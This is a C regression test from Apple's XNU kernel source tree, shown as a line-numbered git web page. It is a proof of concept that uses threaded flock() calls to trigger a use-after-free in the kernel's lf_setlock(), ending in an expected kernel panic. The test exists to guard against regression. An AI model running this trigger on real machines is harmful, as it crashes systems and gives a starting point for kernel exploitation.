]>
git.saurik.com Git - apple/xnu.git/blob - tests/lockf_uaf_poc/lockf_uaf_poc_70587638.c
6 #include <darwintest.h>
7 #include <darwintest_utils.h>
10 T_META_NAMESPACE("xnu.ipc"),
11 T_META_RUN_CONCURRENTLY(TRUE
));
13 #define TMP_FILE_NAME "lockf_uaf_poc_70587638"
15 static int fd0
, fd1
, fd2
;
17 static int other_failure
= 0;
18 static int other_failure_line
= 0;
20 static pthread_t thr0
, thr1
, thr2
;
22 #define RECORD_ERROR(err) do { \
23 if (other_failure_line == 0) { \
24 other_failure = (err); \
25 other_failure_line = __LINE__; \
28 #define MYCHECK_ERRNO(res) do { \
30 RECORD_ERROR((errno)); \
34 #define MYCHECK_POSIX(res) do { \
36 RECORD_ERROR((res)); \
41 #define CHECK_OTHER_FAILURE() do { \
42 int my_other_failure = other_failure; \
43 int my_other_failure_line = other_failure_line; \
44 my_other_failure_line = 0; \
46 T_ASSERT_EQ(my_other_failure_line, 0, \
47 "Other failure %d at line %d", \
48 my_other_failure, my_other_failure_line); \
57 * Wait for thr1 to be blocking on attempting to acquire lock C. See the comment at the top of
58 * `thr1_func` for the reason why sleep is used.
63 * Acquire another shared lock (lock D) on the file. At this point the file has acquired 2
64 * locks; lock A and D which are both shared locks. It also has 2 exclusive locks currently
65 * blocking on lock A attempting to be acquired; lock B and C.
67 res
= flock(fd2
, LOCK_SH
);
71 * Unlock lock A, this will cause the first lock blocking on lock A to be unblocked (lock B)
72 * and all other locks blocking on it to be moved to blocking on the first blocked lock
73 * (lock C will now be blocking on lock B). Lock B's thread will be woken up resulting in it
74 * trying to re-acquire the lock on the file, as lock D is on the same file descriptor and
75 * already acquired on the file it will be promoted to an exclusive lock and B will be freed
76 * instead. At this point all locks blocking on lock B (lock C in this case) will now have a
77 * reference to a freed allocation.
79 res
= flock(fd0
, LOCK_UN
);
90 * Wait for thr0 to be blocking on attempting to acquire lock B. Sleeping isn't great because
91 * it isn't an indication that the thread is blocked but I'm unsure how to detect a blocked
92 * thread programatically and a 1 second sleep has never failed so far of tests so for now that
97 // Another thread is required, spawn it now before blocking
98 res
= pthread_create(&thr2
, 0, thr2_func
, 0);
101 // Block attempting to acquire an exclusive lock - lock C
102 res
= flock(fd1
, LOCK_EX
);
113 // Acquire a shared lock - lock A
114 res
= flock(fd0
, LOCK_SH
);
117 // Another thread is required, spawn it now before blocking
118 res
= pthread_create(&thr1
, 0, thr1_func
, 0);
121 // Block attempting to acquire an exclusive lock - lock B
122 res
= flock(fd2
, LOCK_EX
);
129 sigpipe_handler(int sig __unused
, siginfo_t
*sa __unused
, void *ign __unused
)
134 T_DECL(lockf_uaf_poc_70587638
,
135 "Do a sequence which caused lf_setlock() to free something still in-use.",
136 T_META_ASROOT(true), T_META_CHECK_LEAKS(false))
143 (void) sigfillset(&sa
.sa_mask
);
144 sa
.sa_sigaction
= sigpipe_handler
;
145 sa
.sa_flags
= SA_SIGINFO
;
146 T_ASSERT_POSIX_SUCCESS(sigaction(SIGPIPE
, &sa
, NULL
), "sigaction(SIGPIPE)");
148 // Setup all the file descriptors needed (fd0's open makes sure the file exists)
149 T_ASSERT_POSIX_SUCCESS(
150 fd0
= open(TMP_FILE_NAME
, O_RDONLY
| O_CREAT
, 0666),
151 "open(\""TMP_FILE_NAME
"\", O_RDONLY|O_CREAT, 0666)");
152 T_ASSERT_POSIX_SUCCESS(
153 fd1
= open(TMP_FILE_NAME
, O_RDONLY
, 0666),
154 "open(\""TMP_FILE_NAME
"\", O_RDONLY, 0666)");
155 T_ASSERT_POSIX_SUCCESS(
156 fd2
= open(TMP_FILE_NAME
, 0, 0666),
157 "open(\""TMP_FILE_NAME
"\", O_RDONLY, 0666)");
161 * Threads are used due to some locks blocking the thread when trying to acquire if a lock that
162 * blocks the requested lock already exists on the file. By using multiple threads there can be
163 * multiple locks blocking on attempting to acquire on a file.
165 res
= pthread_create(&thr0
, 0, thr0_func
, 0);
166 T_ASSERT_POSIX_ZERO(res
, "pthread_create thread 0");
169 * Wait for lock B to be acquired which under the hood actually results in lock D being
170 * promoted to an exclusive lock and lock B being freed. At this point the bug has been
171 * triggered leaving lock C with a dangling pointer to lock B.
173 res
= pthread_join(thr0
, NULL
);
174 T_ASSERT_POSIX_ZERO(res
, "pthread_join thread 0");
176 CHECK_OTHER_FAILURE();
178 // Trigger a signal to wake lock C from sleep causing it to do a UAF access on lock B
179 res
= pthread_kill(thr1
, SIGPIPE
);
180 T_ASSERT_POSIX_ZERO(res
, "pthread_kill thread 1");
182 CHECK_OTHER_FAILURE();
185 * The kernel should panic at this point. This is just to prevent the
186 * application exiting before lock C's thread has woken from the signal.
187 * The application exiting isn't a problem but it will cause all the
188 * fd to be closed which will cause locks to be unlocked. This
189 * shouldn't prevent the PoC from working but its just cleaner to
190 * wait here for the kernel to panic rather than exiting the process.
192 res
= pthread_join(thr1
, NULL
);
193 T_ASSERT_POSIX_ZERO(res
, "pthread_join thread 1");
195 CHECK_OTHER_FAILURE();
197 T_PASS("lockf_uaf_poc_70587638");